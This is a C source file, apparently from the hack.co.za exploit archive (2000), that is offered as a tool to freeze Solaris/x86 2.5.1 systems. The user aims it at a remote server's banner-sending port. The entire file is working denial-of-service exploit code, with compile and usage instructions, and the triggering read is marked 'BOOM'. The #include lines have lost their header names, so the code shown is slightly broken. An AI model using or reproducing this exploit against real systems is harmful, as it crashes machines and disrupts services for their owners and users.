/* * The folowing is rather ripped from Pine 3.95, and condensed. * It should easily freeze a Solaris/x86 2.5.1 system, though may have to * be run more than once to produce the problem. * * Compile with: [g]cc -o locktcp locktcp.c -lsocket -lnsl * * Throw this at your favorite dotted decimal IP and port of some server * (not on the local host) that throws up a banner message. i.e. IMAP, * POP3, FTP, etc. The program doesn't seem to hang the system on * services that don't throw a banner (like HTTP). * * Usage: locktcp ip-addr port */ #include #include #include #include #include #include #include #include int main(int argc, char **argv) { int i,sock,flgs; char *s; struct sockaddr_in sin; fd_set fds; char tmp[4096]; char *host; long port; if (argc != 3) { fprintf(stderr, "Usage: %s ip-addr port\n", argv[0]); return 1; } host = argv[1]; port = atol(argv[2]); /**** Set up address and open socket ****/ sin.sin_port = htons (port); sin.sin_addr.s_addr = inet_addr (host); sin.sin_family = AF_INET; /* family is always Internet */ if ((sock = socket (sin.sin_family,SOCK_STREAM,IPPROTO_IP)) < 0) { fprintf (stderr,"Unable to create TCP socket: %s\n",strerror (errno)); return 0; } /**** Set to non-blocking ****/ flgs = fcntl (sock,F_GETFL,0);/* get current socket flags */ fcntl (sock,F_SETFL,flgs | O_NDELAY); /**** Connect to host ****/ while ((i = connect (sock,(struct sockaddr *) &sin,sizeof (sin))) < 0 && errno == EINTR); if (i < 0) switch (errno) { /* failed? */ case EINPROGRESS: case EISCONN: case EADDRINUSE: break; /* well, not really, it was interrupted */ default: fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port, strerror (errno)); close (sock); /* flush socket */ return 0; } /**** Do blocking select on nonblocking socket ****/ FD_ZERO (&fds); /* initialize selection vector */ FD_SET (sock,&fds); /* block for writeable */ while (((i = select (sock+1,NULL,&fds,NULL,NULL)) < 0) && (errno == EINTR)); /**** Set back to blocking socket ****/ if (i > 0) { /* success, make sure really connected */ fcntl (sock,F_SETFL,flgs); /* restore blocking status */ /* get socket status */ while ((i = read (sock,tmp,0)) < 0 && errno == EINTR); /*** XXX--BOOM ***/ if (!i) i = 1; /* make success if the read is OK */ } if (i <= 0) { /* timeout or error? */ fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port, strerror (i ? errno : ETIMEDOUT)); close (sock); /* flush socket */ } return 0; } /* www.hack.co.za [2000]*/